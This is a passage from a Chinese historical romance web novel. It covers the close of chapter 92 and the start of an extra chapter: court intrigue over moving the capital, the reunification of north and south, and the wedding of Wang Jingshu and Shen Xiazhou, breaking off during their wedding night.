其后追来的卫士,星泉率先撞见了这一幕,急忙背身阻了众人入内,他抑不住地默默流泪,王娘子和他家郎君,走至今日这一步,实在不易,他就是控制不住地想哭。 众人面面相觑,目光不断越过拦在石阶之上的星泉,只见得破败庙宇下的肃穆神像,还有一团辨不清是神佛还是郎君与女郎投下的交叠阴影。 王静姝与沈遐洲亲吻的并不过分,更多的是温情与慰藉。 不多时,他们便从庙宇中相携走出。 星河无边,苍穹万里,诸人整备,此去再无停留,也再无束缚。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【终章】 第92章 第92章后记(剧情偏…… 王静姝的任性,给王瑞带来的损失不小,他失了帝王信任,也同吕相的合盟破裂。 君与臣,臣与臣,互不信任的关系,令迁都一事,又生出不少波折。 王瑞上书请罪,吕思温受罚被贬,吕相陈情被斥,陈雍染病,陶然陶信倒更得陈雍信任,也越发趾高气昂。 陶信暂领了陶敬早前的实权,一心跟从帝王巩卫皇室,此番欣喜诸人失意,也对迁都后多又计较,恐南地世家势力过盛,奏请先行移兵南下,为天子扫清障碍。 陈雍病中,对王瑞不信任,于南地也有威慑之意,准了奏。 当月,陶信控制豫州,驻军许县,北临洛阳,南可沿颍河而下至淮河,眈视荆扬两州。 此番举动多有得罪南地世家,对陈雍迁都南地本就抗拒的一部分世家大族,暗中支持荆州都督周准独立。 周准驱逐荆州刺史,扩大实权,牢掌沿江诸多水域要点,同时也邀扬州结盟。 扬州刺史薛远惊惧不已,连连同王斐如问策。 许县同扬州相隔不过数百公里,周准又忽地独立,扬州难保不会被牵连,被同等打上造反名头。 不怪薛远惊惧,要知道,帝王有意迁都建业,这是王瑞为首部分世家暗中驱动结果,如今这般情状,倒是提前将迁都后南北势力融 合的矛盾先激了出来,也令诸多世家豪族原本的立场发生了动摇。 这种不安定下,薛远怎能不担忧,且他本就因三互法的任官回避制度才任此刺史,若扬州也效仿了周准,首当其中被拿来的立威的便是刺史。 故而不管是欣赏还是旁的,自王斐如任官以来,他是极倚重的,荆州事发后,他也多在意王斐如的态度。 此刻又寻王斐如问策,多有试探之意。 王斐如安抚笑笑:“薛公不必心忧,你我食君之禄,自然是为陛下迁都尽职尽责才是。” 他语态不似作假,声调缓落,很是带着安抚人心的力量。 薛远也不由稍松下心神问:“那我等该当如何?” 私心里,他定然是希望迎入朝廷兵马,自己也可得安稳,然想也知南地的世家大族不会轻易松口,他们愿迎帝王迁都,那是为成为日后权利的中心,若轻易令陶信所带兵马入驻,岂不是本末倒置? 可若不迎,岂不是同周准一般无二了? 王斐如却不再回答,只亲自为他斟茶岔过了话头,薛远被其一绕,直至离开才终于咂出味来,为陛下尽职尽责,不就是要助陶信? 这个想法令他一时惊喜,想再回去问询,转身瞧见已闭的大门,想想又作罢。 王斐如不怕薛远想不明白,要的便是助陶信,周准起事太过急躁,并不可取,只会惹怒了天子。 陈雍染病,北地鲜卑威胁更甚南地,迁都决心只会更强,他急需一个安稳又可继续维持统治的新地盘,从陶信领兵耽视荆扬两州便可见一斑。 帝王既要立威,那无论如何,这一战都是避免不了的。 摆在他面前的有两条路,同周准一般起事,拒迎迁都帝王,亦或是帮帝王镇压起事的周准。 前者并不可取,南地非只有荆扬两州,还有交州等各大郡县,尤其是百越杂居的交趾等郡,极易被搅入乱中,到时整个南地怕是都不安稳。 当然,明晃晃的造反举动也非明智之举,中原总归是认正统的,即便是个傀儡,那也是一面旗帜,平白无故的起事,谁人能服? 便是周准据了荆州,怕是也难稳的住。 况且,陈雍现还不至到了走投无路的地步,他只是在位不久,又如一个吝啬的富翁,太看重所拥有的,反将自己逼入了困境,迁都便是他的断尾重来之举,此次必然雷霆手段压下周准的暴动。 他没必要去搅这趟浑水,令南地乱动波及更甚。 只是可惜了周准,他本以为此人可堪合作,不料事事变化太快,周准有周准的计较,他也有他的计较,他从始至终都只是为保一地之安稳,令六娘无忧。 然六娘主意太大,每一步都大胆又冒险,她在洛京之举,人是他给的,陷王瑞于不利,也是他默许。 当家人是该换一换了,大哥三番两次将他女儿当做货物般利用,可有真问过他可同意? 王氏在南地经营日久,陈雍便是再恼怒,也无非是不用王瑞,但王氏在南地的根基是难动的,也不可能彻底甩开了王家。 这便是他的机会,为女赎罪,将功补过,助陈雍迁都,彻底取代王瑞,也借机将自己的手伸至荆州,可不好过同周准合作? 余下的徐徐图之便可。 王斐如想的颇多,颇深,一时想如何在帝王之下接管江东,一时又忧心女儿在他照料不到的地方如何了,总有操不完的心。 * 接下来的两个月,北地战况愈烈,鲜卑骑兵凶悍,冀州不至沈遐洲到时便已又被夺取去大半,青州并州的及时援助,勉强僵持着。 但恰逢春耕,粮草难以后继,又不如鲜卑异族一般,经一整个冬日的抢掠与兼并做的准备充足,能同鲜卑僵持两月之久已是不易。 青州兵马率先退回了自己的领地,沈二郎也不再恋战,带沈遐洲撤回并州境内。 与此同时的洛阳也已迁走大半,陶信移兵南下,得扬州示弱顺从,主力全向至荆州,陈雍不会放着已镇压的州府不待,继续选择迁都建业,四月中旬便已改迁都武陵。 而仍留于建业的大半是留恋故土,不信鲜卑能攻入洛阳的百姓,然则,当他们发现留于洛京不曾跟同南下的世家豪族们也不待洛京了,反迁向其余安全的各处,也急切起来,跟同这些大族车队后迁出洛京。 故而当鲜卑费力攻入洛阳,几乎已是一座空城,但这毕竟是天子都城,其中意义足令这些异族兴奋,在洛京城中抢掠数日,慕容耿也自立为帝。 然而,当他们的兴奋过后,便发现中原人的狡诈了,除了洛阳之外的北方各处,几乎都在打着驱逐异族,迎回帝王的旗号拥兵自立,不再真正受天子的调遣。 其中并州无疑是极强的一方势力,沈二郎虽不擅武,但擅谋擅治,在他治管下,早早便筑墙练兵,农耕也有规划,沈大郎虽不能再领兵,但他威信仍在,练兵也是一把好手,再则,沈遐洲身边的嵇牧也一直留于并州任将军。 并州一直没有辜负沈遐洲为其争取的时间,他们比任何人都早在为大绥的动乱做准备。 即便撤离冀州,也多留有后手,沈遐洲更是凭借两月的交战,将冀州残部收拢,他手中又有朝廷下任文书,冀州便是他口中的肉。 不久,便彻底将鲜卑留在冀州的兵马尽数驱逐,断了慕容耿同幽州以北草原的联系。 及至过了夏至,长江以北诸州郡,已然形成了数方割据的局面。 而南方也并算不得太平,慕容耿被阻在中原腹地,要养兵,那就只有打,目光无不越过长江也有南下之意。 除此外患外,南地内斗也少有停歇的时候,陈雍迁都后身子便一直没好爽利,陶信移兵之举也彻底得罪狠了南地的世家,陈雍心力不济再难维持平衡,也令更多人盯紧了吕贵人将将生产的肚子。 陶然欲将其肚中孩儿抢夺,万一陈雍有个不好,陶信手中还有兵,他们还能挟天子令,至于吕贵人,早已没了撑腰的吕相。 陈雍染疫,吕相脱不开干系,陈雍虽未查得罪证,但已起了不管不顾的杀心,吕相也有所感,干脆借着为吕思温请罪,留守北地,自愿放弃了伴随帝王迁都。 这种退让,既是放弃了对大绥朝堂上把控,也是对陈雍的低头,他再不会是帝王的掣肘,吕贵人肚中的子嗣,也再不必担忧外戚过于坐大。 陈雍如意,吕相也非是没有自己的计较,棋桌被掀,乱子必须重布,异军突起的北地势力中,就有一支为吕姓。 乱世一经始,无论是南地还是北地,都奔向了谁也难以预料的方向,或倾轧,或挣扎,或在吞并中变强。 * 又是一年春。 一女婢提裙奔向在水边行走的女郎,满面经不住的喜意:“女郎,有信来,是三郎君打了胜仗了。” 水边女郎闻声望来,婢女经不住地停顿了脚步,是何等貌美惊人的女郎,衣如虹,发如墨,肤色如雪,容色更是世间难寻,回头望来时,风拂起她发丝,眸光比清泓还漾。 即便瞧再多次,也不经心醉,好半晌才寻回声重新回禀:“女郎,是二郎君那边传来的信,不日他们就会归了……” 王静姝听得出神,神情竟也有几分恍惚,自她追沈遐洲而来,已有两年,这两年,二人几乎是聚少离多的状态,她居于最安稳的太原府,而沈遐洲不断奔赴战场,先是收回冀州,再是幽州,后又彻底溃散了慕容部族,再后来收服各世家豪强独立的州郡…… 这次再归,无疑是将北地尽收掌握,再用不了多久便可挥兵南下,而南地的政权,去岁,陈雍便已重病不治,陶然扶幼主登基,陶信为护国大将军。 至于她大伯王瑞从她逃离的那一刻,便已同时得罪了吕相与陈雍,她父亲以助陈雍迁都之事出头,彻底掌握了王氏,也是如今南地政权中不可或缺的人物,其地位不输陶信,或者说真正握着南地政权命脉的其实都是王斐如。 沿江艨艟水军皆在王斐如 掌握,陶信也就名头好听些,实则真要对上如今的北地还需靠水军,仰仗王斐如。 不知该说幸还是不幸,王瑞终其一生想追逐的最后是在王斐如手上实现了。 她的立场也变得特殊起来,南北不可能一直分割下去,她在乎之人或会有一战。 这种忧虑盖过了女婢带来的好消息。 “女郎。” 传信的女婢见王静姝神色并不喜悦,不由担忧唤一声。 王静姝从思绪中抽回神,开口问道:“可有说行军归至哪了?” 女婢只顾来回禀好消息,却实不知这具体的,只又退去打听。 王静姝也并不阻拦,依旧沿着水边走,想着事,要运转占据越来越大的地盘,从来都不是几人可行,新的政权也随之建立,沈遐洲总奔着打服了世家而去,沈二郎推行的新策也同时下行,二人麾下无论是将士还是幕僚客卿,再非世家一言堂,多为能者居之。 这就是现在的北地,一个全新的政权,自然不会轻易接受迎回南地唯一的小天子,他们要拥立的是自己的新君主。 那拥谁为最后的新君主? 若说正统,无疑是身上流有大绥皇室的血派的沈遐洲,但沈二郎性情温煦,心中自有丘壑,又能听得进谏言,他的脾性才是更适合的人选。 王静姝也知,从一开始沈遐洲就想将沈二郎拥上那个位置,可沈二郎也同是这样为沈遐洲想的,反倒一时僵持住了。 因两位郎君的态度,长久以来便含混着过,然则,现北地再收无可收,定然是要讨论个章程出来的。 但这一点上,王静姝并不担忧,沈遐洲早已打定了主意,他并不适合那个位置。 昔日长公主在时,沈遐洲心中总有一腔愤恨,野心也颇大,可现将那位置的人换成沈二郎,沈遐洲从来没有怨言,他知的,他的性子多疑敏感偏激,胸腔中满是报仇与泄愤,若非王静姝还跟着他,心中有着惦念,常常拉着他心中那名为杀戮的弦,怕是早成了个只知杀戮的行尸走肉。 王静姝也是极为赞同沈二郎为新君主的,沈遐洲该退下来好好养养了,再这般下去,她属实担忧沈遐洲的身体,这两年来,大大小小战役无数,但她的郎君就像是的铁打的一般,韧性极强,也凶悍无比。 每每相见,她都觉得他文弱面皮被磋磨得粗糙一分,可她并不能阻止,这是沈遐洲的执念,唯有事成方可消。 并且这执念当中或还有她的一分,他想给她安定,也想给她一场婚礼。 她无疑是了解沈遐洲的,所以她尊重沈遐洲的选择,也等着海晏河清的一天。 只天意弄人,最后的关卡偏偏是她阿父,王斐如从一开始或是为了她这独女有依靠方奋起,可整个江东真握在手中时,要考虑的就不止是一家之事了。 她没有立场让阿父为她放弃整个江东,但在北地越久,经手的文书事务越多,也越发瞧得清如今的北地是不一样的,军政庞大又强悍,就连异族也吸纳驱使,民生也在新政权下恢复,绝不是过惯了安逸,与有天险可依一味自信的南地世家抱团可比拟的。 南北真若战,南地除拉长战争时日外,也只有败的份。 她并不想父亲走到那个地步,长久的联系不便,在此刻,她倏地想归家了,想见见阿父了。 * 沈遐洲此番凯旋,意义不只是胜仗,也是顽固许久抱团而聚的北地世家彻底臣服的信号,沈二郎只来及命人给王静姝传了消息,便亲自带人去接应。 于乐平等待不过半日功夫,便遥见群峰相对的道路中连绵的鲜色旗幡,再近些,兵甲作响也听得真切,打前头高马之上的年轻郎君也一并入眼。 他身上披甲严整,身形挺拔萧肃,明晃晃刀铠旗幡下,如一股凛冽寒风,也如陡峭峻山,寒不可侵,其后大队的兵马还押解着诸多囚车,里面有不认命大喊着“竖子”的昔日相熟面孔,也有颓然认命的生面孔。 沈二郎全然不管他们,只望着自小就令他操心颇多的三弟,心中既有尘埃落定的欣慰,又有些难言的苦涩,再如何驱逐异族,再如何收复大绥疆土,终归是物是人非,无论是三郎还是他身上都早早担上了本没想过的责任。 他上有顶天兄长,下有下继任沈氏家主的三弟,他畅想的一生,本该如过去十几年那般随性恣意,但好在,一切仍有修正的可能,只待再助帮三郎几年…… 沈二郎想至一半,抬步去迎沈遐洲,却倏地见沈遐洲翻身下马直接跪于他身前,连带着呼啦啦跪了一片,恭贺与高呼一人连着一片。 沈二郎只觉耳廓嗡嗡作响,苦笑不已。 三郎分明是当着众人的面,摆明了姿态,托举他称王,便是他再拒了这一次,也会有下一次,且因三郎当众摆出的态度,无论是他还是旁的人,再无旁的选择。 沈二郎弯身扶沈遐洲道:“三郎,你先起来,此事我们再议。” 沈遐洲纹丝不动,目中满是已决的肯定。 沈二郎不得不再退一步,道大绥南北还未一统,怎么也要迎回南地的小天子再说其他。 众人自是对南地奶娃娃的小天子不以为意,可称帝之事,从来都讲究一个礼法与名正言顺,今日多是由沈三郎起头,诸人趁势摆出一个姿态。 既沈二郎有松口之意,也知先见好就收,一切总归要重新迁回洛阳,将班底按天子规制整顿起来才是,到时即便南下接回小天子,也可让小天子禅让,如此,还倒更体统些。 沈遐洲的举动无疑是给幕僚客卿们吃了一个定心丸,长久跟同沈遐洲四处征战的将军们,也多是放心多过了可惜,倒不是对沈三郎治军不服气,恰恰是太服气,除去敬与畏,还多存有恐惧。 只要见过沈三郎在战场上满身浴血,杀性难抑的模样的人,都会恐惧。 这是一个危险又不容人抗拒,也听不进人劝告的郎君,即便他大多时候是对的,可谁能保证他能一直正确下去,谁又能保证,自己不会成为他立威的刀下魂? 如此相较起来,自然是沈二郎更有为君的气量与才能。 对这些人所想,沈遐洲低垂着眼睫,并不在意,也从未想过探究,从一开始他就将自己定位得分明,他手段狠厉不近人情,宽和雅量都留给了沈二郎。 而沈二郎习惯于给他处理各种后续的麻烦,不知不觉中就收拢了人心,等察觉之时已经晚了,那位置除了沈二郎以外再没人能坐得上。 当然,他也不会允许有旁的人抢了沈二郎的位置。 沈遐洲容色微狞一下,冷峻稍退,除了面皮粗糙了几分,心思更难猜了几分,他仍旧那是个阴晴不定的阴郁贵公子。 沈二郎一直在他身侧同他说着些什么,见他容情,便知他什么都没听进去,只好歇了话,想待归了府,或同王表妹谈谈令她同三郎说说才好。 三郎的付出不比任何人少,又是大绥皇室的血派,且表妹父亲如今正掌着江东的命脉,若是三郎称帝,也更好收服南地才是。 如是想着,一行稍显沉默地归往太原。 不过未行多久,沈遐洲便显厌倦,同沈二郎说了一声,自行摘了沉重甲胄,换了饱足快马,带着几骑亲卫先行一步。 * 春夜静谧,月华如银,王静姝想此夜沈遐洲或会归,更衣后便并未睡下,坐在窗前想着事,有些事非是信中能说清楚,她想归家一趟,见见父亲。 北地已定,大势所趋,父亲没必要为老旧的世家所缚,合该革旧鼎新,她看得出,沈二郎全然承了沈伯父的遗志,所推行的新法在沈遐洲对世家的强势打击下,以极快的速度惠及了世间的所有读书人和有能之士,世家对文化和官职的垄断在被打破。 日后皇权所指,便是圣意。 而南地在陈雍迁都后,除去得到安稳外,非但没再有政绩,反搅浑了一池水,尤其是陈雍心力不济时,给了陶然陶信兄妹过多的特权,更是放任了宗教的传播与五石散的滥用 。 如今的南地,即便隔江,王静姝也曾听得颇多的荒唐事,诸如慕容耿被北地政权逼得要渡江时,陶信如临大敌,还有陶然荒淫后宫…… 只不过宫廷再乱,得益于长江的天险,还有王斐如对朝事不干涉,只牢牢把握不放的长江淮水一线的态度,朝内谁也动不得他,同样的,外敌也难以集中攻入,故保得南地安稳至今,但这种安稳,是建立在北地没有统一之上的。 她不希望父亲同沈遐洲会有你死我活的一日,但王斐如所代表的立场,非是王氏一家,只有在她担忧的那一日到来前,说服父亲,才有机会破开南地政权,也不至她在乎之人到兵戈相见的地步。 她已打定主意要归家,此时等沈遐洲,也不过是在想如何同沈遐洲开口,如何让他同意。 当然,即便沈遐洲不同意,也是拦不住她的,只是她习惯于照顾沈遐洲的情绪,若她无征兆地撇下他,可想的,她的郎君怕是要疯。 即便她一次次坚定地选择沈遐洲,可沈遐洲的多疑不安,总是会令他下意识地往不好的方向想,总觉她有一日会厌烦了不安定,也或会厌弃了他。 可谁让她就是喜爱上了这样一个多敏偏执的郎君呢,免不得连同他脆弱的心灵一同照料。 想着,她唇角也流出一抹浅淡的笑。 很轻也很浅,但极为温软,也轻易地在沈遐洲心底留下痕迹。 只一眼,他便心痴,心头如有淅淅雨落,抚平所有焦灼,奇异地获得平静,他隔窗唤窗前的女郎:“卿卿,我带你归家吧。” 王静姝倏听得声,惊讶抬眸,很是惊异郎君口中说的归家,一时间失了反应,不知他说的家,是指沈二郎近来筹备的迁往洛阳的家,还是她想的那个家? 女郎惊讶时,双眸瞠得略大,天生的美眸少见地有些呆滞,瞧得人心软一片,沈遐洲伸手入窗握她手,对她温静一笑:“卿卿,是回你的家,建业。” “你难道还不愿带我去拜见岳丈大人吗?” 说着,颇伤感地垂下眼皮。 他一贯好看,即便近两年的征战将他磋磨得粗糙不少,可又这样带着几分作秀意味的羸弱伤怀,一瞬就击中王静姝的心脏,令她兴奋。 尤其他还道要同她归家。 可喜悦压下后,她不免想此事的可行性,沈遐洲要与她归家,便不怕被扣在建业了? 王静姝:“何时走?” 她问得很冷静,也带了点小心思,从时间上足以推断沈遐洲会带多少人,又或有什么旁的目的,然沈遐洲的回答还是出乎了她的意料,只听得郎君毫不迟疑地道: “现在就走。” 王静姝如幻听般不可置信,他知道他在说什么吗?知道若被扣在建业的后果吗?不要命了吗? 不等她多惊讶与迟疑,沈遐洲手腕带力,拉得她隔窗踉跄一下,继而整个人都被带起,跌入窗外郎君的怀中,遮风斗篷将她罩了个严实。 府外马匹随行并不多,沈遐洲出府便带她上马。 马驰风掣中,王静姝只听得郎君胸膛中传来的咚咚心鼓,她明了了,这便是沈遐洲的心—— 想她所想,忧她所忧。 待沈二郎慢一步归至太原府时,早已追不得沈遐洲与王静姝的踪迹,再闻得消息,已是将北地政权迁回洛京后。 而那时的南地,方经过一场清君侧,陶信之流被清洗,王斐如愿送小天子回洛阳归至正统,南地也愿不战而称臣,唯有一要求,他膝下唯有一女,欲倾所有招沈三郎入赘为婿。 沈二郎简直气得发笑,三郎啊三郎,扔下一大堆新朝乱麻给他,自己跑去当了赘婿。 他是不是还要谢谢三郎给送回来的小天子,帮他日后继位的正统都考虑好了? 他这兄长当的,便没有一日不是不在操心的。 然王斐如下的聘礼实在丰厚,沈二郎心底再是再是骂骂咧咧,也还是准了这亲事。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 93、番外一 王静姝没想昔日同沈遐洲的一句“当我小娇夫”戏言,会有成真的一日。 二人几乎是秘回建业的,所带的卫士也屈指可数,好在江东皆在她阿父手中,甫一入江淮下游的北岸,便被发现带至了王斐如跟前。 王斐如便是有多次助王静姝逃亲,但那也是不得已,他看不上丹阳王,也瞧不上陈雍,倒不如由着王静姝去。 可这并不代表他就打心底里接受了沈三郎,甫一照面,王斐如面上对女儿有多欢喜,背地里便有多嫌弃沈三郎,尤其是昔日半大少年的印象与现下的一相结合,只觉就是个面皮好,勾得他女儿连亲爹都不要的病弱郎君。 要不说初印象极为重要呢,王斐如与王静姝皆是如出一辙地认定沈遐洲病弱,即便他杀名在外。 不过也离不开沈遐洲惯来的装相与作秀,他一敛对外苍莽杀气,阴鸷也极力地隐藏,显出雅致与端秀,加之容貌上佳,端是将秀雅与高邈集于一身,极具迷惑。 王斐如寻由头将二人隔开,但也并未真对沈遐洲做什么,毕竟除去偏见,光是他有胆量抛开所有带王静姝重回南地,就足以令王斐如高看一眼,也愿听听他有什么说道。 王静姝并不知二人具体谈了什么,只知王斐如倏地很忙,也倏地对荆州如今的王都所在发了难,不愿再同陶信虚与委蛇,也不再维持着虚假的和平。 他的动作太快,王城中又本就诸多同王氏千丝万缕的新臣,一旦他不再留手,年轻的陶信陶然再招架不住,懵懂小娃娃的小天子,被从陶然宫中抱出,陶然也被安上了各种她做过,亦或是没做过的罪名。 而宫廷外头,陶信也已伏首,被一左一右的卫士刀架着脖子。 事情很快告一段落,小天子依旧是小天子,只不过是换了辅佐的大臣。 南地终归是安稳太久,能将能数出的没几个,面对不断传来北地的各种收复消息,不少人一直心有惴惴,清君侧后,也多揣王斐如的态度。 战终究是没有打起来,王斐如下令拆了诸多自迁都以来,陶然主建的庙宇,也抓捕了不少宗教僧人,判为妖言惑众、搅乱太平的妖孽,以此肃清风气,一扫一直萦在整个南地的紧张与恐慌。 同时,北地派了使者前来商谈迎回小天子,王斐如的退让,令局势毫无疑问地往一边倒。 王瑞久禁祖宅,都不禁跳脚,大骂王斐如懦夫,这般相对峙,权柄在握又有小天子在手的好局势,竟是生生将属于王氏的富贵权势让出。 王斐如难得地归家见了王瑞一面,却并不改原先主意。 王斐如离开时,王瑞陷入了一种求而不得的疯癫,他汲汲营营大半辈子,虽半道被亲弟弟取代,但可见族中势头大好,也是心甘的,他一直做着王陈共治大绥的美梦,却被当头一棒,王斐如没有他的那份野心,从始至终,王斐如所求不过保一方太平,也保家族不至颠沛,再多一点的私心,便是六娘。 且他瞧得更远,也更有一份仁心,无论是北地的久经战乱,还是南地受到的波及与近年来受到的盘剥,这于千千万万的普通人而言,都是一场劫难,没必要为了一个既定的结局,延续这种苦难。 如今收手对谁都好。 是年六月,小天子被送回洛阳,沈二郎代为执政,也没有一棒子绝了南地所有归顺之人的希望,该封赏的封赏,便是有不合他新朝理念之处的,也皆暂接纳,来日再料理。同年八月,吕贵人昔日婢子揭告陶然做下的恶事,其为夺吕贵人腹中孩儿,害死吕贵人,且换了生下的死胎。 一时间,小天子的身份存疑,诸多证据越查越真,沈二郎在朝臣请命下,不得不接管新朝登基,改元为昭明。 也是这一年秋,沈遐洲同王静姝的婚事定下。 云高江阔,江面上的朦艟不再北扼,收敛了锋芒,甚至也似为难得的喜事染上了喜气,不少扎上了红绸。 战事不用打了,新天子的兄弟非但成了他们都督的女婿,封地也在此,往后可不就是亲如一家了? 沈二郎对沈遐洲自是极好的,登基后第一件事便是给沈遐洲封了淮南王,然后紧着为他操办婚礼,毕竟三郎同王静姝的婚事实在是拖的久,如今一切安定,是该操持起来,且南北两地也确实需要这样一场喜事,来紧密联系。 至于入赘一说,便是沈遐洲愿意,沈二郎也觉得没脸,三郎也实是廉价了些,他操碎了心地同王斐如私底下拉扯。 而王斐如也不是真就揪着这不放,无非是对沈三郎的试探,甚至心底里也对沈三郎答应得过快,觉得很不是滋味,就像是做了亏本买卖一般,反倒是同在乎这的沈二郎相谈找回了些平衡。 二人自是达成了诸多的共识,王斐如为南地世家争得些长久的利益,而沈二郎也为保住了三郎的夫纲松了一口气。 故而实存名亡的入赘一说少有人知,诸人也当婚礼放至建业办,是新帝的体恤。 只婚礼当日,明明是正常的婚礼嫁娶流程,沈二郎仍旧感慨颇多,很是娘家送嫁般地叮嘱沈三郎颇多,才放他去迎亲。 不同于只有日月与天地为证的简陋,宾客满座,高堂亲朋具在,灯火辉煌下的婚礼盛大非凡。 王静姝妆容雍容映丽,盛装华服也似染上霞光金辉,如万金的碎落般夺目更甚,她于庄重礼乐中同沈遐洲目光相碰,也于诸人见证中将手叠至他伸出的手中。 沈遐洲一瞬握紧,低眸浅笑。 二人具是相同的礼服,又皆是出色的相貌,一抬眸,一颔首,年轻郎君修如梅骨的手包裹着女郎纤柔细美的手,灯火暮光落在他们身上,融融间,梦幻又不真实。然再多的喧嚣起伏,都好似插不入他们之间的氛围,他们经历太多,即便身处一片繁华之中,也足够安然,眸中是只瞧得见彼此的痴然。 王静姝少见沈遐洲盛装的模样,他相貌偏隽逸清淡,性子又常阴郁,本该更适合淡色衣袍,可此刻,与她同色鲜色礼服,红色的内衬,少了几分阴郁苍白,倏地妖冶张扬起来,便是温温柔柔地浅笑,落在王静姝眼中,也无端地迷人神智。 她想亲亲他。 她的目光太过露骨,反倒是沈遐洲被她瞧得不好意思,只在手心勾了勾她,带她一同走完了婚礼的后续流程。 在礼官唱罢的下一瞬,所有人头顶倏地绽出金灿烟火。 时下已有爆竹,可这般灿灿的烟火很是少见,有人甚至慌神一瞬,疑心失火,可接连不断的烟火在天际炸开,便知不是。 同被此吸引的人群一般,王静姝也一瞬被吸引了注意,抬头间,灿山灿烟火像是无数的星子在绽开,昏色天际也被装点,喧嚣又繁盛。 沈遐洲垂眼望她,山灿的光芒不时照亮女郎雪玉的肌容,她便如每日都会升起的日月般明亮灿烂,也周而复始地,始终如一地伴着他。 他的眼神缱绻眷恋,王静姝扭头时,便不期然地撞人他溺人的柔情中,再也忍不住地踮脚亲他一亲。 飞快的一吻,轻柔如雪,却被郎君接住般地加深。 盛大的烟火难得,一时倒少有人注意这对偷吻的新人,也少有人发现他们的不见。 王静姝被沈遐洲带回了舍内,红烛喜绸将满屋映得嫣红喜气。 屋中侍女惊讶郎君与女郎怎就一同回了,而且还不见有喜婆等人跟着,这屋中也还有共牢合卺这些礼要走呢,一时面面相觑,没了主意。 沈遐洲与王静姝二人却都不在意这些,外头那一整日的流程走下来,已受够了瞩目,屋中若仍一群人观礼,也忒也不自在。 她挥手示意侍女们都下去,沈遐洲也自然地去将门从内锁住。 屋中顿时唯有彼此二人,静谧之余,都少见地生出些和以往相处不同的腼腆生涩来。 他们往日分明什么都做过了,可喜烛红绸下,就是有些不知该再作何好,只呆呆望着彼此,用眼描摹着彼此的眉眼轮廓。 眼见着,沈遐洲耳廓浮起一丝赧红,那点红越加越深,他垂下眼去,端起合卺酒,递一半给王静姝,连接瓢柄的红线顿时垂落在二人之间。 无需多言地各饮下一瓢,王静姝递眼他,大有问询‘然后呢?′的意味。 都是第一次成亲的年轻人,那些繁复的礼仪,光是流程就能说上几个时辰,王静姝一日来都是由人牵引着做什么该做什么,往后的,本也没想到甩下喜婆等旁人,此刻,该再如何进行下去也是懵然。 但她并不觉得这有什么不好,甚至分外地有趣,她用一种十足兴味的眼神等着沈遐洲进行下一步。 除去耳廓上的红,他始终正经地端着,模样温秀又赏心悦目,只手中笨拙的动作还是出卖了他的紧张。 王静姝更是唇角噙笑地撑手桌沿瞧他。 沈遐洲将两半葫芦瓢合作一处,偶地掀眼,便见女郎倦懒倚靠桌沿,华美柔软的绸缎衣裳从她手腕滑下,莹莹肌肤在暖光下晕然,周身都透着丰盈风流,唯那微微眯起的眸,显出有些恶劣的兴味。 发现他瞧时,又是极无辜地眨眼,可恶极了。 沈遐洲加快了缠绕红线的动作,许是少做这种精细的活,也或是紧张,最后一步防红线松散的收结他做的极慢,王静姝不由倾身过去些,却也不指点,只一会看看他认真的动作,一会又瞧瞧他泛红的颊靥,然后贴着他面容地捣乱道:“夫君,我好像醉了。” 有些陌生的称呼,令沈遐洲手抖了抖,往日便是床笫间,王静姝这样张扬嚣张的女郎,也多是连名带姓地唤他,夫君二字陡地从她口中而出,甜腻又诱人,击得沈遐洲过电般酥麻。但他忍了忍,羞赧垂头,然后背过身,继续专注给红线系结。 王静姝服了,她知道沈遐洲有些时候有些奇怪的操守,可这都大婚当日,她这般的大美人在侧,竟比不上两瓣葫芦重要?他还背过身防她? 王静姝生气了,往他的方向挪了挪,身子也醉了般地倒向沈遐洲。 这次沈遐洲倒是不躲了,但王静姝也瞧见那该死的葫芦已然结绳好,虽有些不甘,但都已装醉,总该继续下去,她更软了身子,温热呼吸几近贴着郎君的颈。 他向来好撩拨,而她就是坏心眼地爱看他被撩拨的模样。 然,王静姝又受挫了,她满是不可置信地被扶起,还是被扶得极为板正的扶起,而沈遐洲在向她介绍食案上的熟食,问她想尝哪个。 “我不饿。”王静姝扫一眼赌气道。 沈遐洲俯眼望她,容情比生气的王静姝还受伤,捏着女郎的手凄艾地问:“即卿难道是不想同我夫妻一体,相互扶持?” 他的脸也学着王静姝先前的模样挨着她轻蹭,本就是极熟悉的情人,相近的体温,熟悉的作态,呼吸也若远若近地勾着女郎。 若说这些缠绵情意,王静姝还能抵抗,可他那似作秀的话语,王静姝却难以忽视,她常不尊礼教,任性又大胆,可沈遐洲敏感又执拗,他想给她盛大的婚礼便一直记着,便是四下无有旁人,那些含有同未来有关的美好期许流程,他也执拗地要走完。 他并不是不受她撩拨,而是那些同他们有关的来日期许,他半分也不愿有失。 一瞬明白他的执拗,王静姝再无法拒绝他,即便明知他又是故意惹她怜,可谁让她就是吃他这一套,也爱极了他这样性情的郎君呢。 她不再赌气,同沈遐洲相对跪坐,一同分食案上的熟食。 至此,共牢合卺礼皆成。 而外头即便发现了二人的不见,也不会有人不长眼地来打扰。屋中红烛仍在燃,轻微的噼啪响中,沈遐洲倒又含蓄起来了,又用眼一眼一眼地示意女郎是不是该就寝了。王静姝心中哼哼,报复沈遐洲方才的不解风情似的,也当了一回瞎子,饿了般慢条斯理地继续享用熟食。 “卿卿,我帮你摘了发饰好不好?”沈遐洲眼见女郎不解他的眼风,主动问询。 王静姝无可无不可地放下筷,道:“我要漱口。” 沈遐洲自知方才得罪了女郎,只得去帮王静姝端水漱口。 王静姝乐得指使他,眼眸在屋中打转地,一会道屋中光太暗了,要沈遐洲将烛芯剪短一些,又一会瞧中一方红绸好,要沈遐洲为她取来…… 她作乐似的将红绸盖在头上,掀起一点儿地要沈遐洲为她取镜来瞧。 然她实不知自己映在红绸下的脸庞何等艳丽,湿润的唇瓣如花般鲜妍诱人,半掀着红绸的手指在暖烛下愈显柔软洁白。 沈遐洲幽微念头疯涨,不再被女郎作乐地抱她入怀。 王静姝惊呼一声,瞬间被抬高几分地坐到了沈遐洲的身上。 这种高度下,她不得不掀开点红绸,居高下望沈遐洲。 然也是她掀起红绸下一瞬,沈遐洲握着她的手,头颅也探入其中,他轻轻亲她的唇瓣,舔舐般将她的口脂吃尽,仍旧不满足地扣她贝齿,对她攻城略地。红绸阻隔了屋中挑亮的光线,亲吻的吞咽与呼吸在朦胧一片的红绸中,变得愈发湿热与禁忌。 沈遐洲从女郎的唇畔吻至耳后,有一下没一下地含着女郎的耳珠休憩般,轻轻说了句什么。 只见女郎的身子倏地抖了抖,要推开他。 